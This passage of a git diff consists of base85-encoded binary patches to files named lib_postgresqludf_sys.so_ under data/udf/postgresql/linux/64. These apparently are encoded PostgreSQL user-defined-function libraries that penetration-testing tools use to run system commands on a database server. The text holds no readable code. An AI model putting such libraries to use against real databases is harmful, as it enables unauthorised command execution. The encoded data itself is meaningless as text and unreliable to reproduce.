zY{@$2WZ@Ro7hweBJxcAC<-|Hhg9v@-hU9LQMb^hMX}hk+%C>-@hGB_qM@oF5lK0@o zCdz(1=Djsi%K#byUpPbuSu}P1FaO;&36@fW52`yOmtyJQZ4YVLdC$TUe~AwANuy(d XXN8?j!DYNfg4gfFrs|qOh7aof&HDr_ literal 2561 zcmV+c3jXyy(&8&VDLI00^_X4yvEarHvI}|{-ylrIC{v#IROvmPI~`ElO~t<7reVq6 z<88-Fz~k75Ucod8YyiUt$rR{@D$W0n&Eqs*045nq9ss!Sr!%L@FrEYV0Jrd9CmD*E zy`zD5jlv6qxESZIZk6~xfog>Qf*T&}G0K4zF&OprQDqlC@LUV6R8QUA)4S|IBRYKY zs3s1t5(ktB{5@EaIEAPX|_> z@bF+E)xVs2gb*{(mi*{ruq6m#a&ji1kQ0_^oQ|%ymuf~t-qE~Va>lQt{nX~yeF&HC zQ1ZAuGzzxE9R6(i_^h5@Ga=JW?BWN~&F=*^KK7Tg5|-2eLV0RikGK$u3h`&1NUlt!?&- zdat4j<^Y8{ZI5kx?I|N5fT8A zmK>2Ce5R{3fp^EaD}_YU1arKqG^iy;!k-eiy~Eb zv*WbZYK+TX1x=(-Agr;}ye!F#d7*rM1~@>gwT}GDB@d`|Mh*9;zh^uyI>47%OJgvD z<`}h?6#&SJwo#r_GX1G0gk(`VJtppSVVP1q6W0H)2tTj3N)2g0)x=N8N$$pxmBNFX zq+nTC#TYj5Kh{-#+2fvnG32Zm{0G1~BbQ!e9QP9}=P>expO{%GHttn$1wE@MEEd-K zxVqu=_lNZ)$q4V=;qj`F-B~X24D7ld29n;8HN2Tw1R=7$tjMVYXp)?vAvf~lrqat` zUK|B%SemY1%_(Ke^zCA%ZZ{S>6#jQZolA1#3F^DvVThj^upU!x^psoUWK=o zzQOqV+-3=ti?D(7*~(p?XCfD5C-gEJ(S5r$I3h-oE+WTQyAZ5S_2G8WE7sYXv;iBK z+uwWNA<2^`s1yU8)mQ&v{qm=l&=Oq**rD$Ds_#7lw`QXf-!wS}gH`J3RxokH+>r~_ zExk3JnUM;udj@-~&;0<)=R+E#g@THopXAu zr|^w%ipHS>tIQOfyiP1iWZh&26N#s^_d@2D2T0&i<_7{4rqJk1B!X*;DlU9tdT!rs z?rQyVdT_h?1o-~IAD#*{I*R$N<^wI!g2WE!^3?||a>-{Bk-;22QR-qpew@V_C)N^nRFN`^n2{S+ zWTd~tDVj?axSyGP%zq(vgbcV`(8sRDm}q&4&r{hT8;#X3j}lzZV8f_%OxP20yLRDU{jJTsFODVGuq45_XHrYHMfCvJIb{T|243#$2! zq=wQ2@*53Sunhq+MDa2m<+dsoTy5iKPdAaBOZs>+?lTc+>I6kyHHWC;R`5Ps^@weP2(xSL#Y3>)?ox(^m!(wnW4L2xBfL~ffjq8W z&i*x;Hb#_ChajpoZQMytU(7Xc8kHFfx)W5>sHj!@DJLy}&J-~PL)P&b;~M!E&ngZE z0(4KaDiZ|TRlAdDS}Q{n{Q(#QlBwt}Gd;s1x0{PY9-V27X5D@E)sCE(eA_(KGqs7C zvz!CXSX?Tr@j&U6$nlBURZoyEs~Ux8=l`n~%lTk#rEbg6vEgZkT&%7_rdiO3$LjT|byS?pzZ`qak#HBN$r}t6l3Jq8@HYC$ zr4o$B7eok+EmoyU7+vSAkp_txj#THGunp{BB2`%%yJVblL+QT)8(2jXrqSmIv!XyC zL(D6)XTU4xEkp|AMQY5q%E2oWfGI%Qyuo0VJ@)1kM!vt2$(Oy7yhMj>KWbfoz4Gys zCF?^D+?YF3vmiSla6MI0S`|po724A^akg`!Ag?NRlta|gS1M=O0q^58P>dg^N`hXq XU7(Xqxka61tly}#>cV!Z4AKMcTY@5OKSO|M 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 diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ index 1335862f761753ba496e6856daf7b087b7d45281..ab23ee6a749779c5e556287d7e215ac022ef5ad4 100644 GIT binary patch literal 2563 zcmV+e3jFmws=^8%20W7`_W7=f%lGPK7YY38z$R!j4OY(eRr$D+_ijihJ2`XP`$

    d46Wk*TeFz!z%n>gdM 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 Z_xH!Od$lj-xq7be9=MX17Dk7#s_bqR3{3z4 literal 2563 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 literal 2633 zcmV-P3byq<(&{TdDLI00^_ZFFlBMqL3iREDc6WFHdnNTivZKaIMM`IL^yQiWlV);m z$iKr74RxMroMb-9nOuVXx_ZMb(jyVxH?{;0U*P)eI(x}*q|b?3qS{o)96%nWzFRY@ z#USEd zn9d65gYwQ{xK*hq?_)y!P_$13J$svtO#vW&Z9K%t%(jr3KiJKD7S*-s`_AU%#F-=D zo%d25WC8#GJTS1dr=&?W-;s{Pi&tN!&LY+lp zouP#iH$#rBKfG#xk6d~Ctix=(ef5i+_K#}zMqYNk>PrW;QODARqH++LX{mqXeM88w zGmF2w4B>hOHo{qiJmlymZS)DqfYM|wt*q3ZHJ*Kgb?p&(j-|V{P|Sm?rA$+ki_84 zidRb7fwEA>>>v2X__=Y)NQl@0Kl&yo_K(2uFuDPhqkwtrJA-Ijv0mfKgGcI`KP^Jw!Zw%{>d!G!>+UqTkcgIup0e9AAxO!i=h~R6zR_`BI~X zyxIiX+Br3l&J`=3G{!#9f&MYisn*lYqSeb@Nf@wO6&nih`N?F?yrjYLoZ;c={#q=n z-tD<~fJG%wHkFocC(XH_jR{;5)7Kv8A(QjfcDJiAl#znLW9jU>?V+)qF73}rEmngP ze`);&)G|x!t-J*qYW#cpdL~aihX=GBv_9hGuz`HL8B4s}I2$DyNTj!uD@lW@uP=>0 z$NIK*bKTpL)DgHez(7mAeX4R4wmR09%*E4v(1?jyzMh)AQGaLqu#Gl(@!1!zS`%3! zjS!?M-PJU?LfPcM#GH?+Yntp>!)%_$R`dOb4(qdtRRw*}I%T9fobx~XIx)~F$n+Wk z9+^icf{l|(^HLG%V|KLBD@7&=>$h#mrYPA=UcVWDWv1MJkNRgUKjD0KCc&T<+f$h3 z$+d>dNGR9NVwHNghiXz6vNX5*jjS2(fpWViTErLmQfAcysVAg2j@zs-Sf|fat;KXo zyfobu@A`CMn_%&F1IBWO$$?qbqVW)c(!K% z_}}me5{7yL%q{~Hz(zViUw{RaeEtT&ELNpuFQWG%sArg?=MZx$vW;Upx9sq5hGeS7 zjnzTuYhuU@SwqsM0W1g~5H#Wr&rtyV z18B2Ix8F|jNmDTYiREng&#(mQldUsj8>!YmcuQDqyUJ7PJNf|Q^jsuvF7hJ1a`;y0 z8SpscxS}muAd4uj!9{KipZ`j79hmib`y9Z>US;ztgVlwo+^ujil3+7%HkN!nkworF zafFNjlnHk#RzKLbYJJM!+OJsO!)O0+t%9) z6%f3qw5Vjkug9l50i~0pgOa)mho&6&0C9f~A?QSw+ zmNmmHJL5ZIp=6^rr=i;xzO0W1 z)o#lh8SC2Aib_swFvKqNFK2w^4?@Ph(a2G)K`Dn1=12{{#_`CbKd4dZFyuna!wXy~ zR+uyL;RX~smH$5hvC7R1M^SO3JFp*Jg%?6wIRW}J(l<3uqxZ!SeUw5x6kC}svWU)8rX$xLK(gS ztT!%cg{_VdqNm>67%>fvbmL4qeAzXf(a9~G7CyqVbfjjn+{&~ r;b({dA3A3~jgN!9Jp;0Gg1Hs7S>A}L6a%h0HGOvOF`$l2xDxsG1+y;@ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ index c730910de82c525953b6794703c62e9319321f55..e5d05fc6f16cfa594bfe35afac3a5116b88d7d7b 100644 GIT binary patch literal 2693 zcmV;03VQWDs>%uS(|TM~IAZnH45QCsOE%l~6e=wdJYJ#= zyM6ogD}Q?GS}RgB=3-M89Tk0l7ol)e19Jwja|&$=vQ8sJJQW9}He|m1j^Y46eHHdL z*v$Pt%`gGWDwW@ThOqIXstmjzu~ysHL?`g36WYWr8~LvGc5+^wt00#*LSfHgxBBu7 zs$hO5cm}ux z1+JQ6cepf~FHS+&cEVd;lM|vQm&E2mwa5#xcie;M2KA2YOrojOHue*^X7noO6+$SifB+#*i?k#dZfz9ZuV3 zZ^(_43UzHFf|FbAKZosvcZ9X(E{$0MzPHJd7F8yERzW3Z71;SwP}jhi@LssRCjpeg z??$xW8u$wpHViiMpWCy|$7z%`XVxFLxBYKq@MY=0C8Ry#T+Pk`qkuj_~e*exDdW{34 z)9NTb;J(w}DBi7kuusk13jYHm+;RW^?b~eKn}hRe!1uuJtO(`{CbI}L1q~@gF<&Td zSNMq@Wx|?=I2(}YQyyzJ1*2Q;i?q~iI>ypPNma`AMEDUo5DEDXXZXcE+F9jIoWSLk z#F$*3w{V;C>#DRy`^9oU5Frk-5*<)xUy1``05qTSm2*F5|xFp!0<@zfH9yjGcAo0B0LK{2S)cCOpR&6*^tyIMKrjy6;HRT z;!11LyL%p@n6R>MhVn21{nU>*$S<|U#bv__H-wBdoU@G<=%#f+bv;3kb=Z%z4{L4o zwVQlSRfRHeSJtP@;Nc-&sdE_rxIVa>rM5Ph(w3?w*oUM@_cV{8kt4*a*N;Z*iK(^B zx-@cxn(~7yxM-h~xf}TKxLp@NbAVN+PKhhLotdpHwo9V0=HqM2DYT=7Z&ugSW-wVi zc2dN0M~gq~NvE|xaXe#$BF0e+{B2J>${?;6Z61|6&VTIC0O#N5Sg| z4f;wg6#&fA_F|(KW3m`IDn|4&zAMhZX@qf1gyFKvzDCC&Z9tm0Q4vj-EVd<7Rqu0c zlh+2kU{TNH5nw0@qbFyl4R|NI&B#oh;a?eLqA;Uak`T~xFUZ)-SW*ZByr>fHe|Tmj zeqy5-cKx?q#~j-4B9%}d2;M7{CblSnF9WZ3!AM$jo(+`9;dGBXjA}SjZDZ28~Z~^63%*O62)-S$X3~5Y*|7s!UC@XZuHwxe3U3_=H#(Y?$2Y(CXpB~i|&7?Y=8QiNHGfjyLk~3o!LVJ{= z6PV5q9GE}%ct0<3nm0S-`O<~RM`95)liHFu<